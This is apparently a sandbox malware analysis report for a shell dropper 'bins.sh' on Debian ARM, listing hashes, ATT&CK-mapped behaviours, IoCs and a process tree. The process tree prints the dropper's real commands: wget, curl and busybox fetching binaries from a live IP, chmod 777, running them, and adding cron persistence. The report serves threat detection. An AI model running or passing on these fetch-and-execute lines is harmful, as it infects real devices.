4a86e420582fbea156feb90f7f4fe4d898db26bcdb8d2cc818f044e2a272ce48

Analysis

max time kernel
149s
max time network
176s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/11/2024, 06:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241108-halx3sxeqc
SHA256 4a86e420582fbea156feb90f7f4fe4d898db26bcdb8d2cc818f044e2a272ce48
MD5 fb4bd07941a5a1491338e99e893d4841
SHA1 38bb96738686687e02febe9783df6e50928e1e40
SHA512 46674d61834133a1318cefeeedc90094768de4a734ff5e9b67d0465bc0b4f001eb0c8def1e9a5e3fb19a73995e63b8f92a6a0deaa2bf325c8496644b592a01b8
SSDEEP 96:KMECC52i0OhII1MoKgX9FDMEg4TKFAD+8G4md7uII1MovwWX9FD9XPg4TKFAv+8q:Tc4gX9F4Eg4TKGDV9F5g4TKGG
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2033) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
692	chmod
721	chmod
753	chmod
781	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r	693	G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
/tmp/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne	723	4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
/tmp/IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8	754	IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
/tmp/W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise	782	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise

Renames itself 1 IoCs

pid	Process
784	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.nlhkKZ	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1031/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/1083/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/20/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/817/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/923/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/1096/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/1098/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/899/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/916/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/1022/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/900/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/931/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/76/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/596/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/880/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/1023/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/2/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/809/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/856/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/932/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/992/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/1017/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/1109/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/10/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/653/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/990/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/1040/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/1056/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/1100/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/24/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/871/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/892/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/955/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/973/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/3/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/884/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/888/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/879/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/887/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/1011/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/21/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/816/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/850/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/951/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/967/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/980/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/599/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/857/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/882/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/936/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/985/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/1034/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/1089/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/659/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/911/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/943/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/981/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/1061/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/306/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
File opened for reading	/proc/833/cmdline	W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r	wget
File opened for modification	/tmp/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r	curl
File opened for modification	/tmp/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r	busybox
File opened for modification	/tmp/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne	wget
File opened for modification	/tmp/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne	curl
File opened for modification	/tmp/W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise	wget
File opened for modification	/tmp/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne	busybox
File opened for modification	/tmp/IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8	wget
File opened for modification	/tmp/IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8	curl
File opened for modification	/tmp/IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8	busybox
File opened for modification	/tmp/W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise	curl
File opened for modification	/tmp/W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:661
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:663
- /usr/bin/wget
  wget http://87.120.84.230/bins/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
  2⤵
  - Writes file to tmp directory
  PID:666
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:687
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
  2⤵
  - Writes file to tmp directory
  PID:691
- /bin/chmod
  chmod 777 G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
  ./G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
  2⤵
  - Executes dropped EXE
  PID:693
- /bin/rm
  rm G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
  2⤵
  PID:695
- /usr/bin/wget
  wget http://87.120.84.230/bins/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
  2⤵
  - Writes file to tmp directory
  PID:696
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:706
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
  2⤵
  - Writes file to tmp directory
  PID:717
- /bin/chmod
  chmod 777 4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
  2⤵
  - File and Directory Permissions Modification
  PID:721
- /tmp/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
  ./4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
  2⤵
  - Executes dropped EXE
  PID:723
- /bin/rm
  rm 4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
  2⤵
  PID:727
- /usr/bin/wget
  wget http://87.120.84.230/bins/IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
  2⤵
  - Writes file to tmp directory
  PID:728
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
  2⤵
  - Writes file to tmp directory
  PID:752
- /bin/chmod
  chmod 777 IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
  ./IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
  2⤵
  - Executes dropped EXE
  PID:754
- /bin/rm
  rm IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
  2⤵
  PID:756
- /usr/bin/wget
  wget http://87.120.84.230/bins/W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
  2⤵
  - Writes file to tmp directory
  PID:757
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
  2⤵
  - Writes file to tmp directory
  PID:776
- /bin/chmod
  chmod 777 W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
  ./W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:782
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:785
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:786
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:787
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:789
- /bin/rm
  rm W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
  2⤵
  PID:798
- /usr/bin/wget
  wget http://87.120.84.230/bins/JTPTaAJRPvZcz41kssnkX2DjgQOccrCQvd
  2⤵
  PID:801

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne

Path /tmp/4fAHNFLvym7vjH4MnysY78T0h6MZBVjdne
Size 117KB
SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
MD5 849fa04ef88a8e8de32cb2e8538de5fe
SHA1 c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA512 2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
SSDEEP 3072:VozXHIisGFgyKB7xlBAUNFd4vm4QbZJmf35zPp:bGmyKBxl2U+vm4QbZJm/5zPp
MD5 SHA1 SHA512 SSDEEP

Submit Download

G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r

Path /tmp/G6ZwBwV3jTQOABxxItDAzrCHcz96cb7O9r
Size 151KB
SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
MD5 6c583043d91c55aa470c08c87058e917
SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
SSDEEP 3072:iDTElsfhWriM4eiANlb5calmCjXswi5itRx2p:Of4HZLNlbvmCjXswi5i3x2p
MD5 SHA1 SHA512 SSDEEP

Submit Download

IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8

Path /tmp/IEW4ctkgrGab14EZYu45NFm5TiTM30Bkp8
Size 151KB
SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
MD5 3c90d5820bddcf7c5d1bd21dfa49d958
SHA1 5ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA512 54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
SSDEEP 1536:mVqSjUF+uLHLVdiLzLsLzLsL7LeLGLXL0LLLkLhqqvZjptByZEGkbU+/pWacxZkI:tr9dy1B2gSpLg70mLjXswi5itRx2p
MD5 SHA1 SHA512 SSDEEP

Submit Download

W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise

Path /tmp/W9N51GQqs413WmHCTT0wWvpWUhs8Xjhise
Size 177KB
SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
MD5 786d75a158fe731feca3880f436082c0
SHA1 79ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA512 7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
SSDEEP 3072:PJtid2ng8w4YMrgUqqdaODUvI7UhTIyU2be6CXuVyZM/9h9XKvtZmmmLdwC7tuRD:BtiGGqaODUvI4hc2bvCXuVoM/9PXwPmK
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp.nlhkKZ

Path /var/spool/cron/crontabs/tmp.nlhkKZ
Size 210B
SHA256 1e0ef73cc84e749365ff07964d9c7c9c5a25e65603b37156256ab91d6814b56b
MD5 2d3cd29983194b66516a15fde7d45694
SHA1 afc4366335673f3656b8d971d4e73a48b96e7024
SHA512 bf96a0a1e0d9bf5e51df73efde4c6c040224bdbd242e6696b4b0d727684e67d6d59a53c6229ad1a4661e5cb164813f1962e5203bd8f8c789024a1cc3329a1b8c
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads